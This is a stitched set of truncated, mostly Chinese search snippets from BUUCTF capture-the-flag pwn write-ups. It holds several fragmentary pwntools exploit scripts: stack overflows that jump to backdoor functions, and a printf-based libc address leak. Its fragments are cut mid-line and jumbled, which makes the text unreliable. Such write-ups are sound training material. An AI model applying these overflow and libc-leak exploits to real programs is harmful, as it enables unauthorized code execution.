没后门、没system、没/bin/sh,害,不过还好,有printf函数,我们还可以泄露libc,接下来就是32位泄露libc地址的过程了 frompwnimport*fromLibcSearcherimport* p=remote('node4.buuoj.cn',26463) elf=ELF('./pwn2') libc=ELF('./libc-2.23.so') printf_plt=elf.plt['printf'] printf_got=elf.got['printf...
#io= process('./')io=remote('node3.buuoj.cn',29189) elf=ELF('./pwn2_sctf_2016') sla('?','-1') payload='a'*0x2c+'b'*4+p32(elf.plt["printf"])+p32(0x080485B8)+p32(0x080486F8)+p32(elf.got["printf"]) sla('data!\n',payload) rl() ru(': ') printf=u32(rv(4...
from pwn import * #io = remote('node4.buuoj.cn',28919) io = process('./not_the_same_3dsctf_2016') get_secret_addr = 0x80489A0 printf_addr = 0x804F0A0 fl4g_addr = 0x80ECA2D exit_addr = 0x804E660 payload = b'a' * 45 + p32(get_secret_addr) payload += p32(printf_add...
from pwnimport*p=remote('node4.buuoj.cn',29370)#p=process('./pwn1')payload=b'a'*(15+8)+p64(0x401187)#payload=b'a'*(15+8)+p64(0x40118a)#payload=b'a'*(15+8)+p64(0x401185)+p64(0x401186)#payload=b'a'*(15+8)+p64(0x401185)+p64(0x401198)+p64(0x401185)+p64(0x...
pwn2_sctf_2016 整数溢出 第一次输入长度不超过四位的整数,在get_n函数中对输入的数字做出了限制,一个一个读入数字,且不能是'\0' 第一次输入的数字不能大于32,这显然不够溢出,但是可以注意到,get_n函数第二个实参v2是有符号的,而在函数中转变成无符号类型 get_n的第二个形参a2是无符号整型,并且它没有...
025.pwn2_sctf_2016 026.babyheap_0ctf_2017 .gitattributes .gitignore README.md Latest commit Cannot retrieve latest commit at this time. History History 知识点 格式化字符串 题目分析 检查保护情况。32位程序,开启NX保护,开启Canary保护。 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found...
from pwn import* from LibcSearcher import* #p = process("./pwn2_sctf_2016") p = remote("node3.buuoj.cn",29784) elf = ELF("./pwn2_sctf_2016") context.log_level = 'debug' def debug(cmd): raw_input("debug:") gdb.attach(p,cmd) p.recv() p.sendline("-1") p.recv() junk...
NO.00 pwn1_sctf_2016_sovle exp NO.01 warmup_csaw_2016_sovle exp NO.02 babyheap_0ctf_201...
BUUCTF pwn 400611,所以使用pwntools的攻击脚本如下: pwn1_sctf_2016 丢进ida可以看到有两个关键函数vuln和get_flag,其中get_flag是预留的后门函数 f5反汇编查看函数vuln... 查看栈可以知道s距栈底为F,从f5的类C代码中也可以看到[rbp-Fh]即离栈底为F 所以F+一个寄存器(rbp)(64位一个寄存器就是8个字节)...
BUUCTF pwn题exp整合 0x01 rip 0x02 warmup_csaw_2016 0x03 pwn1_sctf_2016 0x04 ciscn_2019_n_1 0x05 [OGeek2019]babyrop 0x06 get_started_3dsctf_2016...bugku 部分web题 write up 萌新第一次写博客,写得不好,见谅 web2 扑面而来的滑稽,按一下F12解决问题。 计算...